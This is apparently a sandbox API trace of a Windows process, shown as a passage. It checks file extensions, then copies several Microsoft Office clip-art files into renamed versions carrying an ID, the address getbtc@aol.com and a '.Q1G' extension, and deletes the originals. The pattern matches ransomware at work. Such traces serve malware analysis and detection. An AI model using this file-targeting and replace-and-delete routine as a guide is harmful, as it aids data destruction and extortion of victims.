(lpString1=".doc", lpString2=".WMF") returned -1 [0257.227] lstrlenW (lpString=".docx") returned 5 [0257.227] lstrcmpiW (lpString1=".docx", lpString2="2.WMF") returned -1 [0257.227] lstrlenW (lpString=".pdf") returned 4 [0257.227] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0257.227] lstrlenW (lpString=".xls") returned 4 [0257.227] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0257.227] lstrlenW (lpString=".xlsx") returned 5 [0257.227] lstrcmpiW (lpString1=".xlsx", lpString2="2.WMF") returned -1 [0257.227] lstrlenW (lpString=".ppt") returned 4 [0257.227] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0257.227] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105412.WMF") returned 63 [0257.227] lstrlenW (lpString=".zip") returned 4 [0257.227] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0257.227] lstrlenW (lpString=".rar") returned 4 [0257.227] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0257.227] lstrlenW (lpString=".bz2") returned 4 [0257.227] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0257.227] lstrlenW (lpString=".7z") returned 3 [0257.227] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0257.227] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105412.WMF") returned 63 [0257.227] lstrlenW (lpString=".dbf") returned 4 [0257.227] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0257.227] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105412.WMF") returned 63 [0257.228] lstrlenW (lpString=".1cd") returned 4 [0257.228] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0257.228] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105412.WMF") returned 63 [0257.228] lstrlenW (lpString=".jpg") returned 4 [0257.228] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0257.228] lstrcmpiW (lpString1=".WMF", lpString2=".Q1G") returned 1 [0257.228] lstrlenW (lpString="J0105414.WMF") returned 12 [0257.228] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105414.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0105414.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3d8 [0257.228] GetFileSizeEx (in: hFile=0x3d8, lpFileSize=0x2c9ff1c | out: lpFileSize=0x2c9ff1c*=6244) returned 1 [0257.228] CloseHandle (hObject=0x3d8) returned 1 [0257.228] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105414.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0105414.wmf")) returned 0x20 [0257.228] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105414.WMF.id-9C354B42.[getbtc@aol.com].Q1G" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0105414.wmf.id-9c354b42.[getbtc@aol.com].q1g")) returned 0xffffffff [0257.229] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105414.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0105414.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3d8 [0257.229] SetFilePointerEx (in: hFile=0x3d8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c9fec8 | out: lpNewFilePointer=0x0) returned 1 [0257.229] SetFilePointerEx (in: hFile=0x3d8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c9fec8 | out: lpNewFilePointer=0x0) returned 1 [0257.229] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105414.WMF.id-9C354B42.[getbtc@aol.com].Q1G" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0105414.wmf.id-9c354b42.[getbtc@aol.com].q1g"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3e4 [0257.229] GetLastError () returned 0x0 [0257.229] ReadFile (in: hFile=0x3d8, lpBuffer=0x38f0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2c9fed4, lpOverlapped=0x0 | out: lpBuffer=0x38f0020*, lpNumberOfBytesRead=0x2c9fed4*=0x1864, lpOverlapped=0x0) returned 1 [0257.409] WriteFile (in: hFile=0x3e4, lpBuffer=0x38f0020*, nNumberOfBytesToWrite=0x1870, lpNumberOfBytesWritten=0x2c9fc9c, lpOverlapped=0x0 | out: lpBuffer=0x38f0020*, lpNumberOfBytesWritten=0x2c9fc9c*=0x1870, lpOverlapped=0x0) returned 1 [0257.412] ReadFile (in: hFile=0x3d8, lpBuffer=0x38f0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2c9fed4, lpOverlapped=0x0 | out: lpBuffer=0x38f0020*, lpNumberOfBytesRead=0x2c9fed4*=0x0, lpOverlapped=0x0) returned 1 [0257.412] WriteFile (in: hFile=0x3e4, lpBuffer=0x38f0020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2c9fc9c, lpOverlapped=0x0 | out: lpBuffer=0x38f0020*, lpNumberOfBytesWritten=0x2c9fc9c*=0xec, lpOverlapped=0x0) returned 1 [0257.412] SetEndOfFile (hFile=0x3e4) returned 1 [0257.472] CloseHandle (hObject=0x3e4) returned 1 [0257.472] SetFilePointerEx (in: hFile=0x3d8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c9fec8 | out: lpNewFilePointer=0x0) returned 1 [0257.472] SetEndOfFile (hFile=0x3d8) returned 1 [0257.730] CloseHandle (hObject=0x3d8) returned 1 [0257.863] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105414.WMF.id-9C354B42.[getbtc@aol.com].Q1G", dwFileAttributes=0x20) returned 1 [0257.873] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105414.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0105414.wmf")) returned 1 [0257.874] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105414.WMF") returned 63 [0257.874] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105414.WMF") returned 63 [0257.874] lstrlenW (lpString=".doc") returned 4 [0257.874] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0257.874] lstrlenW (lpString=".docx") returned 5 [0257.874] lstrcmpiW (lpString1=".docx", lpString2="4.WMF") returned -1 [0257.874] lstrlenW (lpString=".pdf") returned 4 [0257.874] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0257.874] lstrlenW (lpString=".xls") returned 4 [0257.874] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0257.874] lstrlenW (lpString=".xlsx") returned 5 [0257.874] lstrcmpiW (lpString1=".xlsx", lpString2="4.WMF") returned -1 [0257.874] lstrlenW (lpString=".ppt") returned 4 [0257.874] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0257.874] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105414.WMF") returned 63 [0257.874] lstrlenW (lpString=".zip") returned 4 [0257.874] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0257.874] lstrlenW (lpString=".rar") returned 4 [0257.874] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0257.874] lstrlenW (lpString=".bz2") returned 4 [0257.874] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0257.874] lstrlenW (lpString=".7z") returned 3 [0257.874] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0257.874] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105414.WMF") returned 63 [0257.874] lstrlenW (lpString=".dbf") returned 4 [0257.874] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0257.874] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105414.WMF") returned 63 [0257.874] lstrlenW (lpString=".1cd") returned 4 [0257.874] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0257.874] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105414.WMF") returned 63 [0257.874] lstrlenW (lpString=".jpg") returned 4 [0257.875] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0257.875] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105414.WMF") returned 63 [0257.875] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105414.WMF") returned 63 [0257.875] lstrlenW (lpString=".doc") returned 4 [0257.875] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0257.875] lstrlenW (lpString=".docx") returned 5 [0257.875] lstrcmpiW (lpString1=".docx", lpString2="4.WMF") returned -1 [0257.875] lstrlenW (lpString=".pdf") returned 4 [0257.875] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0257.875] lstrlenW (lpString=".xls") returned 4 [0257.875] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0257.875] lstrlenW (lpString=".xlsx") returned 5 [0257.875] lstrcmpiW (lpString1=".xlsx", lpString2="4.WMF") returned -1 [0257.875] lstrlenW (lpString=".ppt") returned 4 [0257.875] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0257.875] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105414.WMF") returned 63 [0257.875] lstrlenW (lpString=".zip") returned 4 [0257.875] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0257.875] lstrlenW (lpString=".rar") returned 4 [0257.875] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0257.875] lstrlenW (lpString=".bz2") returned 4 [0257.875] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0257.875] lstrlenW (lpString=".7z") returned 3 [0257.875] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0257.875] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105414.WMF") returned 63 [0257.875] lstrlenW (lpString=".dbf") returned 4 [0257.875] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0257.875] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105414.WMF") returned 63 [0257.875] lstrlenW (lpString=".1cd") returned 4 [0257.875] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0257.875] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105414.WMF") returned 63 [0257.875] lstrlenW (lpString=".jpg") returned 4 [0257.875] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0257.876] lstrcmpiW (lpString1=".WMF", lpString2=".Q1G") returned 1 [0257.876] lstrlenW (lpString="J0106816.WMF") returned 12 [0257.876] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0106816.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0106816.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3e4 [0257.878] GetFileSizeEx (in: hFile=0x3e4, lpFileSize=0x2c9ff1c | out: lpFileSize=0x2c9ff1c*=3332) returned 1 [0257.878] CloseHandle (hObject=0x3e4) returned 1 [0257.879] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0106816.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0106816.wmf")) returned 0x20 [0257.879] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0106816.WMF.id-9C354B42.[getbtc@aol.com].Q1G" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0106816.wmf.id-9c354b42.[getbtc@aol.com].q1g")) returned 0xffffffff [0257.879] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0106816.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0106816.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3e4 [0257.879] SetFilePointerEx (in: hFile=0x3e4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c9fec8 | out: lpNewFilePointer=0x0) returned 1 [0257.879] SetFilePointerEx (in: hFile=0x3e4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c9fec8 | out: lpNewFilePointer=0x0) returned 1 [0257.879] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0106816.WMF.id-9C354B42.[getbtc@aol.com].Q1G" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0106816.wmf.id-9c354b42.[getbtc@aol.com].q1g"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x388 [0257.880] GetLastError () returned 0x0 [0257.880] ReadFile (in: hFile=0x3e4, lpBuffer=0x38f0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2c9fed4, lpOverlapped=0x0 | out: lpBuffer=0x38f0020*, lpNumberOfBytesRead=0x2c9fed4*=0xd04, lpOverlapped=0x0) returned 1 [0257.883] WriteFile (in: hFile=0x388, lpBuffer=0x38f0020*, nNumberOfBytesToWrite=0xd10, lpNumberOfBytesWritten=0x2c9fc9c, lpOverlapped=0x0 | out: lpBuffer=0x38f0020*, lpNumberOfBytesWritten=0x2c9fc9c*=0xd10, lpOverlapped=0x0) returned 1 [0257.884] ReadFile (in: hFile=0x3e4, lpBuffer=0x38f0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2c9fed4, lpOverlapped=0x0 | out: lpBuffer=0x38f0020*, lpNumberOfBytesRead=0x2c9fed4*=0x0, lpOverlapped=0x0) returned 1 [0257.884] WriteFile (in: hFile=0x388, lpBuffer=0x38f0020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2c9fc9c, lpOverlapped=0x0 | out: lpBuffer=0x38f0020*, lpNumberOfBytesWritten=0x2c9fc9c*=0xec, lpOverlapped=0x0) returned 1 [0257.884] SetEndOfFile (hFile=0x388) returned 1 [0257.884] CloseHandle (hObject=0x388) returned 1 [0257.884] SetFilePointerEx (in: hFile=0x3e4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c9fec8 | out: lpNewFilePointer=0x0) returned 1 [0257.884] SetEndOfFile (hFile=0x3e4) returned 1 [0257.887] CloseHandle (hObject=0x3e4) returned 1 [0257.887] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0106816.WMF.id-9C354B42.[getbtc@aol.com].Q1G", dwFileAttributes=0x20) returned 1 [0257.887] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0106816.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0106816.wmf")) returned 1 [0257.888] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0106816.WMF") returned 63 [0257.888] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0106816.WMF") returned 63 [0257.888] lstrlenW (lpString=".doc") returned 4 [0257.888] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0257.888] lstrlenW (lpString=".docx") returned 5 [0257.888] lstrcmpiW (lpString1=".docx", lpString2="6.WMF") returned -1 [0257.888] lstrlenW (lpString=".pdf") returned 4 [0257.888] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0257.888] lstrlenW (lpString=".xls") returned 4 [0257.888] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0257.888] lstrlenW (lpString=".xlsx") returned 5 [0257.888] lstrcmpiW (lpString1=".xlsx", lpString2="6.WMF") returned -1 [0257.888] lstrlenW (lpString=".ppt") returned 4 [0257.888] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0257.888] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0106816.WMF") returned 63 [0257.888] lstrlenW (lpString=".zip") returned 4 [0257.888] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0257.888] lstrlenW (lpString=".rar") returned 4 [0257.888] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0257.888] lstrlenW (lpString=".bz2") returned 4 [0257.888] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0257.888] lstrlenW (lpString=".7z") returned 3 [0257.888] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0257.888] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0106816.WMF") returned 63 [0257.888] lstrlenW (lpString=".dbf") returned 4 [0257.888] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0257.888] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0106816.WMF") returned 63 [0257.888] lstrlenW (lpString=".1cd") returned 4 [0257.888] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0257.888] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0106816.WMF") returned 63 [0257.888] lstrlenW (lpString=".jpg") returned 4 [0257.888] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0257.889] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0106816.WMF") returned 63 [0257.889] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0106816.WMF") returned 63 [0257.889] lstrlenW (lpString=".doc") returned 4 [0257.889] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0257.889] lstrlenW (lpString=".docx") returned 5 [0257.889] lstrcmpiW (lpString1=".docx", lpString2="6.WMF") returned -1 [0257.889] lstrlenW (lpString=".pdf") returned 4 [0257.889] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0257.889] lstrlenW (lpString=".xls") returned 4 [0257.889] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0257.889] lstrlenW (lpString=".xlsx") returned 5 [0257.889] lstrcmpiW (lpString1=".xlsx", lpString2="6.WMF") returned -1 [0257.889] lstrlenW (lpString=".ppt") returned 4 [0257.889] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0257.889] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0106816.WMF") returned 63 [0257.889] lstrlenW (lpString=".zip") returned 4 [0257.889] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0257.889] lstrlenW (lpString=".rar") returned 4 [0257.889] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0257.889] lstrlenW (lpString=".bz2") returned 4 [0257.889] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0257.889] lstrlenW (lpString=".7z") returned 3 [0257.889] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0257.889] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0106816.WMF") returned 63 [0257.889] lstrlenW (lpString=".dbf") returned 4 [0257.889] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0257.889] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0106816.WMF") returned 63 [0257.889] lstrlenW (lpString=".1cd") returned 4 [0257.889] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0257.889] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0106816.WMF") returned 63 [0257.889] lstrlenW (lpString=".jpg") returned 4 [0257.889] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0257.890] lstrcmpiW (lpString1=".WMF", lpString2=".Q1G") returned 1 [0257.890] lstrlenW (lpString="J0106958.WMF") returned 12 [0257.890] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0106958.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0106958.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3e4 [0257.890] GetFileSizeEx (in: hFile=0x3e4, lpFileSize=0x2c9ff1c | out: lpFileSize=0x2c9ff1c*=13784) returned 1 [0257.890] CloseHandle (hObject=0x3e4) returned 1 [0257.890] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0106958.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0106958.wmf")) returned 0x20 [0257.890] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0106958.WMF.id-9C354B42.[getbtc@aol.com].Q1G" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0106958.wmf.id-9c354b42.[getbtc@aol.com].q1g")) returned 0xffffffff [0257.890] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0106958.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0106958.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3e4 [0257.891] SetFilePointerEx (in: hFile=0x3e4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c9fec8 | out: lpNewFilePointer=0x0) returned 1 [0257.891] SetFilePointerEx (in: hFile=0x3e4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c9fec8 | out: lpNewFilePointer=0x0) returned 1 [0257.891] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0106958.WMF.id-9C354B42.[getbtc@aol.com].Q1G" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0106958.wmf.id-9c354b42.[getbtc@aol.com].q1g"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x388 [0257.891] GetLastError () returned 0x0 [0257.891] ReadFile (in: hFile=0x3e4, lpBuffer=0x38f0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2c9fed4, lpOverlapped=0x0 | out: lpBuffer=0x38f0020*, lpNumberOfBytesRead=0x2c9fed4*=0x35d8, lpOverlapped=0x0) returned 1 [0257.893] WriteFile (in: hFile=0x388, lpBuffer=0x38f0020*, nNumberOfBytesToWrite=0x35e0, lpNumberOfBytesWritten=0x2c9fc9c, lpOverlapped=0x0 | out: lpBuffer=0x38f0020*, lpNumberOfBytesWritten=0x2c9fc9c*=0x35e0, lpOverlapped=0x0) returned 1 [0257.894] ReadFile (in: hFile=0x3e4, lpBuffer=0x38f0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2c9fed4, lpOverlapped=0x0 | out: lpBuffer=0x38f0020*, lpNumberOfBytesRead=0x2c9fed4*=0x0, lpOverlapped=0x0) returned 1 [0257.894] WriteFile (in: hFile=0x388, lpBuffer=0x38f0020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2c9fc9c, lpOverlapped=0x0 | out: lpBuffer=0x38f0020*, lpNumberOfBytesWritten=0x2c9fc9c*=0xec, lpOverlapped=0x0) returned 1 [0257.894] SetEndOfFile (hFile=0x388) returned 1 [0257.894] CloseHandle (hObject=0x388) returned 1 [0257.894] SetFilePointerEx (in: hFile=0x3e4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c9fec8 | out: lpNewFilePointer=0x0) returned 1 [0257.894] SetEndOfFile (hFile=0x3e4) returned 1 [0257.896] CloseHandle (hObject=0x3e4) returned 1 [0257.896] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0106958.WMF.id-9C354B42.[getbtc@aol.com].Q1G", dwFileAttributes=0x20) returned 1 [0257.897] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0106958.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0106958.wmf")) returned 1 [0257.897] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0106958.WMF") returned 63 [0257.897] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0106958.WMF") returned 63 [0257.897] lstrlenW (lpString=".doc") returned 4 [0257.897] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0257.897] lstrlenW (lpString=".docx") returned 5 [0257.897] lstrcmpiW (lpString1=".docx", lpString2="8.WMF") returned -1 [0257.897] lstrlenW (lpString=".pdf") returned 4 [0257.897] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0257.897] lstrlenW (lpString=".xls") returned 4 [0257.897] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0257.897] lstrlenW (lpString=".xlsx") returned 5 [0257.898] lstrcmpiW (lpString1=".xlsx", lpString2="8.WMF") returned -1 [0257.898] lstrlenW (lpString=".ppt") returned 4 [0257.898] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0257.898] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0106958.WMF") returned 63 [0257.898] lstrlenW (lpString=".zip") returned 4 [0257.898] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0257.898] lstrlenW (lpString=".rar") returned 4 [0257.898] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0257.898] lstrlenW (lpString=".bz2") returned 4 [0257.898] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0257.898] lstrlenW (lpString=".7z") returned 3 [0257.898] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0257.898] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0106958.WMF") returned 63 [0257.898] lstrlenW (lpString=".dbf") returned 4 [0257.898] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0257.898] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0106958.WMF") returned 63 [0257.898] lstrlenW (lpString=".1cd") returned 4 [0257.898] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0257.898] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0106958.WMF") returned 63 [0257.898] lstrlenW (lpString=".jpg") returned 4 [0257.898] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0257.898] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0106958.WMF") returned 63 [0257.898] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0106958.WMF") returned 63 [0257.898] lstrlenW (lpString=".doc") returned 4 [0257.898] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0257.898] lstrlenW (lpString=".docx") returned 5 [0257.898] lstrcmpiW (lpString1=".docx", lpString2="8.WMF") returned -1 [0257.898] lstrlenW (lpString=".pdf") returned 4 [0257.898] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0257.898] lstrlenW (lpString=".xls") returned 4 [0257.898] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0257.898] lstrlenW (lpString=".xlsx") returned 5 [0257.898] lstrcmpiW (lpString1=".xlsx", lpString2="8.WMF") returned -1 [0257.898] lstrlenW (lpString=".ppt") returned 4 [0257.898] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0257.899] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0106958.WMF") returned 63 